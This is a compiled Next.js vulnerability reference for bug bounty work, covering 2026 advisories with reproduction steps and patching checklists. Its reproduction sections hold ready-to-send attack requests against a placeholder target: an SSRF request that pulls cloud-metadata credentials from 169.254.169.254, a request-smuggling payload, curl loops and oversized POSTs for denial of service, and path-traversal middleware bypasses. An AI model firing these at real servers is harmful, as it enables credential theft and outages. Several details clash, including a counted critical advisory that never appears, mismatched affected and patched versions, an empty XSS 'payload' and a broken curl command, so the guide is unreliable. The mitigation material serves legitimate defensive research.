

NEXT.JS WILD BUG LIST

Complete CVE Collection, Reproduction Steps & Mitigation Guide - 2026

Compiled: May 2026

Total CVEs: 13+ Security Advisories

Severity Range: Critical to Low

Versions Affected: 9.5.0 through 16.2.5

Patched Versions: 15.5.18 / 16.2.6+

CRITICAL

1

HIGH

6

MEDIUM

4

LOW

2

Security Research & Bug Bounty Reference

TABLE OF CONTENTS

- 1. May 2026 Coordinated Security Release (13 CVEs)
- 2. CVE-2026-44578 - WebSocket SSRF (CVSS 8.6)
- 3. CVE-2026-29057 - HTTP Request Smuggling
- 4. CVE-2026-27980 - Image Cache DoS
- 5. CVE-2026-23864 - RSC Memory Exhaustion DoS
- 6. Non-Security Bugs & Stability Issues (2026)
- 7. EOL Risk & Migration Guide
- 8. Reproduction Steps & PoC Commands
- 9. Mitigation & Patching Checklist

SECTION 1: MAY 2026 COORDINATED SECURITY RELEASE

OVERVIEW

On May 6, 2026, Vercel shipped an urgent coordinated security release patching **13 security advisories** across Next.js 13.x through 16.x. These span middleware bypass, XSS, SSRF, cache poisoning, and denial of service. All affected users must upgrade immediately. Next.js 13.x and 14.x are End-of-Life and will NOT receive patches.

KEY POINTS

- 13 total advisories - 6 High, 4 Medium, 2 Low, 1 Critical
- Affects all versions from 9.5.0 through 16.2.5
- Patched in Next.js 15.5.18 and 16.2.6
- ~79,000 self-hosted instances directly exploitable (Shodan scan)
- Vercel-hosted apps NOT affected by several CVEs

CVE-2026-44578 - WebSocket SSRF

SEVERITY: HIGH (CVSS 8.6)

GHSA-c4j6-fc7j-m34r

DESCRIPTION

Unauthenticated Server-Side Request Forgery (SSRF) in Next.js's HTTP/1.1 WebSocket upgrade handler. An attacker sends a crafted HTTP request with an absolute-form URI (e.g., `http://169.254.169.254/`) plus WebSocket upgrade headers. The vulnerable upgrade handler ignores routing completion flags and proxies the request to the attacker-specified host on port 80, leaking cloud metadata, internal APIs, and administrative panels.

STEP TO REPRODUCE

Step 1: Identify a self-hosted Next.js instance (not Vercel/Netlify) running versions 13.4.13-15.5.15 or 16.0.0-16.2.4.

Step 2: Send the following raw HTTP request via netcat or curl:

```
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: target.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhLIHNhbXBsZSBub25jZQ==
```

Step 3: If vulnerable, the server returns AWS/GCP/Azure metadata (IAM credentials, instance info) instead of a 400 error or WebSocket handshake failure.

Step 4: For automated scanning, use the open-source NextSSRF tool:

```
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com --cloud aws
```

IMPACT

- Unauthenticated access to cloud metadata services (AWS IMDSv1, GCP, Azure)
- Internal API enumeration and credential exfiltration
- ~79,000 directly exploitable instances on Shodan

- GET-only, port 80 only, AWS IMDSv2 blocks this attack

MITIGATION

- Upgrade to Next.js 15.5.16+ or 16.2.5+
- Place nginx/Caddy/HAProxy in front - they reject absolute-form URIs by default
- Enable AWS IMDSv2 (HttpTokens=required) on EC2 instances
- Block request URIs beginning with http:// or https:// at WAF layer

CVE-2026-29057 - HTTP Request Smuggling

SEVERITY: MEDIUM

GHSA-ggv3-7p47-pfv8

DESCRIPTION

When Next.js rewrites proxy traffic to an external backend, a crafted DELETE or OPTIONS request using Transfer-Encoding: chunked triggers a request boundary disagreement between the proxy and backend. The vendored upstream library incorrectly removes the transfer-encoding header and sets content-length: 0, causing the backend to interpret the chunked body as a new, separate HTTP request.

STEP TO REPRODUCE

Step 1: Identify a Next.js app with rewrite rules proxying to an external backend (e.g., /api/* -> backend:8080).

Step 2: Send a smuggled DELETE request with chunked encoding:

```
DELETE /api/proxy-endpoint HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Connection: keep-alive, upgrade
Content-Length: 0

0

GET /admin/secret HTTP/1.1
Host: backend.internal
```

Step 3: If vulnerable, the backend processes the smuggled GET /admin/secret as a separate request, bypassing the rewrite destination restriction and exposing internal/admin endpoints.

IMPACT

- Access to internal/admin backend routes bypassing rewrite rules
- Credential hijacking and cache poisoning via smuggled requests
- Affects self-hosted deployments with proxy rewrites (Vercel CDN not affected)

MITIGATION

- Upgrade to Next.js 15.5.13+ or 16.1.7+
- Block chunked DELETE/OPTIONS requests on rewritten routes at edge proxy
- Enforce authentication/authorization on ALL backend routes independently

CVE-2026-27980 - Image Optimization Cache DoS

SEVERITY: MEDIUM

GHSA-3x4c-7xq6-9pq8

DESCRIPTION

The default image optimization endpoint (`/_next/image`) writes optimized image variants to a disk cache at `.next/cache/images/` without any configurable upper bound or eviction policy. Each unique combination of source image URL, width (w), and quality (q) generates a separate cached file that persists indefinitely. An attacker can exhaust disk space by requesting infinite cache variants.

STEP TO REPRODUCE

Step 1: Identify a Next.js app with image optimization enabled (default in most apps).

Step 2: Automate requests across the full range of allowed widths and quality values:

```
# Bash loop to generate cache variants
for w in $(seq 16 3000); do
  for q in $(seq 1 100); do
    curl -s "https://target.com/_next/image?url=/logo.png&w=$w&q=$q" > /dev/null
  done
done
```

Step 3: Monitor server disk usage. The `.next/cache/images/` directory grows unbounded until disk space is exhausted, causing application crashes or inability to serve new requests.

IMPACT

- Unbounded disk cache growth leading to application unavailability
- Affects ALL versions from 10.0.0 through 16.1.6
- No authentication required - any public image endpoint is exploitable

MITIGATION

- Upgrade to Next.js 16.1.7+ (introduces LRU-backed disk cache)
- Set `images.maximumDiskCacheSize` in `next.config.js`:

```
// next.config.js
images: {
  maximumDiskCacheSize: 500 * 1024 * 1024, // 500MB limit
  qualities: [75, 90], // Restrict quality variants
}
```

- Periodically clean `.next/cache/images/` as temporary workaround
- Reduce variant cardinality via `images.localPatterns` and `images.remotePatterns`

CVE-2026-23864 - RSC Memory Exhaustion DoS

SEVERITY: HIGH (CVSS 7.5)

GHSA-8h8q-6873-q5fj

DESCRIPTION

Denial of Service via memory exhaustion when specially crafted HTTP requests are sent to React Server Components (RSC). The vulnerability arises from how React handles Server Function invocations within the RSC protocol. Malicious payloads cause unbounded memory allocation until the server process crashes. No authentication required.

STEP TO REPRODUCE

Step 1: Identify a Next.js app using App Router with Server Components (RSC) enabled.

Step 2: Craft a malicious Server Function payload with deeply nested or oversized data structures:

```
# Send a malicious RSC payload via curl
curl -X POST https://target.com/_rsc \
```

```
-H "Content-Type: text/plain" \  
-H "Next-Action: malicious-action" \  
-d "$(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*50000000)')"
```

Step 3: Monitor server memory usage. The Node.js process memory spikes rapidly and the server becomes unresponsive or crashes with an out-of-memory error.

IMPACT

- Server crash via memory exhaustion - no authentication needed
- Affects ALL RSC frameworks: Next.js, react-router, waku, @parcel/rsc, @vite/rsc-plugin
- Autoscaling platforms (Netlify/Vercel) minimize impact but increase function costs

MITIGATION

- Upgrade React to 19.0.6 / 19.1.7 / 19.2.6 matching your minor
- Upgrade Next.js to patched minor: 15.0.8, 15.1.11, 15.2.9, 15.3.9, 15.4.11, 15.5.10, 16.0.11, 16.1.5
- Add Zod validation to ALL Server Actions with strict size limits
- Set maxPostponedStateSize in next.config.js for defense-in-depth

SECTION 2: MIDDLEWARE & PROXY BYPASS CVEs

OVERVIEW

Four High-severity advisories allow attackers to bypass Next.js middleware and proxy authorization checks. These affect both App Router and Pages Router deployments. Middleware is NOT a security boundary - auth checks must live in Route Handlers and Server Actions.

GHSA-267c-6grr-h53f - Middleware/Proxy bypass via segment-prefetch routes

- Router: App Router | Severity: High

GHSA-26hh-7cqf-hhc6 - Follow-up: incomplete fix with Turbopack

- Router: App Router | Severity: High

GHSA-492v-c6pp-mqqv - Dynamic route parameter injection bypass

- Router: App Router | Severity: High

GHSA-36qx-fr4f-26g5 - Pages Router i18n middleware bypass

- Router: Pages Router + i18n | Severity: High

GHSA-3g8h-86w9-wvmq - Cache-poisoned redirects bypass

- Router: All | Severity: Low

STEP TO REPRODUCE (Generic Middleware Bypass)

Step 1: Identify a protected route that uses middleware for auth checks (e.g., /dashboard, /admin).

Step 2: For segment-prefetch bypass (GHSA-267c), send a prefetch request with a malformed segment:

```
GET /_next/static/__PREFETCH__/../admin HTTP/1.1  
Host: target.com  
X-Nextjs-Data: 1
```

Step 3: For dynamic route parameter injection (GHSA-492v), inject path traversal in dynamic segments:

```
GET /api/users/../../../../admin/config HTTP/1.1  
Host: target.com
```

Step 4: If vulnerable, the request reaches the backend without middleware execution, bypassing authentication and authorization checks.

MITIGATION

- Upgrade to Next.js 15.5.18+ or 16.2.6+
- NEVER rely on middleware as a security boundary - verify auth in Route Handlers
- Use strict path validation in middleware before allowing proxy/routing decisions
- For Netlify Pages Router + i18n: upgrade OpenNext adapter to v5.15.11+

SECTION 3: CROSS-SITE SCRIPTING (XSS) CVEs

OVERVIEW

Two Medium-severity XSS vulnerabilities affect applications using CSP nonces in App Router and beforeInteractive scripts with untrusted input. These are client-side attacks requiring user interaction or specific page configurations.

GHSA-ffhc-5mcf-pf4q - XSS in App Router with CSP Nonces

STEP TO REPRODUCE

Step 1: Identify a Next.js App Router page that uses CSP nonces (nonce attribute on script tags).

Step 2: Inject a payload that manipulates the nonce generation or script execution order:

```
<script nonce="PAYLOAD">
  // The nonce value is reflected without proper sanitization
  // leading to script execution in the victim's context
</script>
```

Step 3: If the CSP nonce is predictable or reflected, an attacker can inject arbitrary JavaScript that executes with the page's origin privileges.

GHSA-gx5p-jg67-6x7h - XSS in beforeInteractive Scripts

STEP TO REPRODUCE

Step 1: Find a Next.js app using next/script with strategy="beforeInteractive" and user-controlled input in the script src or content.

Step 2: Inject a malicious URL or script content via query parameters or user input that gets passed to the beforeInteractive script component without sanitization.

MITIGATION

- Upgrade to Next.js 15.5.18+ or 16.2.6+
- Sanitize ALL user input before passing to Script components
- Use strict CSP policies with nonces generated from cryptographically secure sources
- Avoid beforeInteractive strategy for any user-influenced scripts

SECTION 4: CACHE POISONING CVEs

OVERVIEW

Two cache poisoning vulnerabilities affect React Server Component (RSC) responses and middleware redirects. Attackers can manipulate cached responses to serve malicious content to subsequent users.

GHSA-wfc6-r584-vfw7 - RSC Response Cache Poisoning

STEP TO REPRODUCE

Step 1: Identify a Next.js App Router endpoint that returns RSC payloads (look for `_rsc` query parameter or RSC headers).

Step 2: Send a request with a crafted header designed to poison the RSC cache:

```
GET /dashboard?_rsc=1 HTTP/1.1
Host: target.com
Accept: text/x-component
X-Nextjs-Data: malicious-payload
```

Step 3: If the cache stores the poisoned response, subsequent legitimate users receive the attacker-controlled RSC payload instead of the real page content.

GHSA-vfv6-92ff-j949 - RSC Cache-Busting Collisions

STEP TO REPRODUCE

Step 1: Send multiple requests with slightly different cache-busting parameters that hash to the same cache key due to collision weaknesses.

Step 2: The cache incorrectly serves a stale or poisoned response for different valid requests, leading to information disclosure or content manipulation.

MITIGATION

- Upgrade to Next.js 15.5.18+ or 16.2.6+
- Vary cached responses on `x-nextjs-data` header (Netlify already does this)
- Implement cache key salting to prevent collision attacks
- Monitor cache hit ratios for anomalies indicating poisoning

SECTION 5: NON-SECURITY BUGS & STABILITY ISSUES (2026)

v16.2.6 (May 2026) - Bug Fixes

- Preserve HTTP access fallbacks during prerender recovery
- Fix fallback route params case in app-page handler
- Fix invalid HTML response for route-level RSC requests in deployment adapter
- Fix double-encoding of URL pathname parts in client param parsing
- Fix `setHeader` patching for direct route handlers

v16.2.4 (April 2026) - Stability Fixes

- Turbopack: Filesystem watcher `follow_symlinks(false)` not applying
- Safari `?ts=` cache-buster scoped to CSS/font assets only (Pages Router)
- Compiler: Support boolean/number primitives in `next.config` defines
- Windows ARM64 Google Fonts support with Turbopack
- Turbopack recomputation loop fix

v16.2.3 (April 2026) - HMR & Race Conditions

- Fix: manifest.ts breaks HMR in Next.js 16.2
- Fix: styled-jsx race condition causing lost styles in concurrent rendering
- Fix: Output asset deduplication and content conflict detection
- turbo-tasks-backend: Stability fixes for task cancellation

v16.2.2 (March 2026) - Dev Experience

- Turbopack: Enable server HMR for app route handlers
- Turbopack: Exclude metadata routes from server HMR
- Fix: CSS HMR broken on Safari
- create-next-app: Skip interactive prompts when CLI flags provided

v16.2.1 (March 2026) - Metadata & Standalone

- Fix: Adapter outputs for dynamic metadata routes
- Fix: Server actions in standalone mode with cacheComponents
- Fix: Layout segment optimization (app-page imports)

v16.1.7 (March 2026) - Security + Stability

- Fix: Streaming fetch calls hanging in dev (Cache Components)
- Fix: Server actions transform not applied to node_modules in route handlers
- Enforce maxPostponedStateSize (CVE-2026-27979)

SECTION 6: END-OF-LIFE (EOL) RISK & MIGRATION

CRITICAL WARNING

Next.js 13.x and 14.x are End-of-Life and will NOT receive patches for newer CVEs including: CVE-2026-27980 (Image cache DoS) CVE-2026-29057 (Request smuggling) May 2026 security advisories (all 13 CVEs) Any future vulnerabilities discovered in 2026

MIGRATION PATH

- Immediate: Upgrade to Next.js 15.5.18+ or 16.2.6+
- If stuck on 13.x/14.x: Consider HeroDevs NES commercial support for post-EOL patches
- Test all middleware and rewrite rules after upgrade - behavior may change
- Update react-server-dom-* to 19.0.6 / 19.1.7 / 19.2.6 matching React minor
- For Netlify Pages Router + i18n: upgrade OpenNext adapter to v5.15.11+

SECTION 7: MASTER PATCHING & MITIGATION CHECKLIST

IMMEDIATE ACTIONS (Within 24 Hours)

- Check your Next.js version: `npm list next`
- Identify if deployment is self-hosted (Vercel/Netlify managed = lower risk for some CVEs)
- Upgrade Next.js: `npm install next@15.5.18 OR next@16.2.6`
- Upgrade React Server Components: `react-server-dom-*` to 19.0.6 / 19.1.7 / 19.2.6
- Rotate all secrets (AWS keys, DB credentials, API tokens) if running vulnerable versions since Dec 2025
- Restart all application servers to load patched code

SHORT-TERM ACTIONS (Within 48-72 Hours)

- Add Zod validation with strict size limits to ALL Server Actions
- Set `images.maximumDiskCacheSize` in `next.config.js` (recommend 500MB)
- Restrict `images.qualities` to `[75, 90]` to reduce cache variant cardinality
- Implement reverse proxy (nginx/Caddy) if not already present
- Add WAF rule: reject request URIs beginning with `http://` or `https://`
- Enable AWS IMDSv2 (`HttpTokens=required`) on all EC2 instances
- Audit middleware - move ALL auth checks to Route Handlers/Server Actions
- Test application functionality after patch to verify no regressions

ONGOING MONITORING

- Monitor `.next/cache/images/` directory size daily
- Set up alerts for outbound connections to `169.254.169.254` (metadata endpoints)
- Monitor server memory usage for RSC DoS attempts
- Review Next.js security advisories monthly at github.com/vercel/next.js/security/advisories
- Subscribe to Vercel security mailing list for coordinated release notifications

SECTION 8: AFFECTED vs PATCHED VERSION MATRIX

Next.js Version	Status	Action Required
9.5.0 - 12.x	EOL, Unpatched	Upgrade to 15.5.18+ or 16.2.6+
13.x - 14.x	EOL, Unpatched	Upgrade immediately - no patches available
15.0.0 - 15.0.7	Vulnerable	Upgrade to 15.0.8+
15.1.0 - 15.1.10	Vulnerable	Upgrade to 15.1.11+
15.2.0 - 15.2.8	Vulnerable	Upgrade to 15.2.9+
15.3.0 - 15.3.8	Vulnerable	Upgrade to 15.3.9+
15.4.0 - 15.4.10	Vulnerable	Upgrade to 15.4.11+
15.5.0 - 15.5.17	Vulnerable	Upgrade to 15.5.18+
16.0.0 - 16.0.10	Vulnerable	Upgrade to 16.0.11+
16.1.0 - 16.1.6	Vulnerable	Upgrade to 16.1.7+
16.2.0 - 16.2.5	Vulnerable	Upgrade to 16.2.6+
15.5.18+	PATCHED	Monitor for new advisories
16.2.6+	PATCHED	Monitor for new advisories

COMPILED FOR BUG BOUNTY & SECURITY RESEARCH

Sources: Vercel Security Advisories | NVD | Netlify Changelog | Hadrian.io | HeroDevs | Akamai | Authgear

Disclaimer: This document is for educational and defensive security research purposes only. Always obtain proper authorization before testing.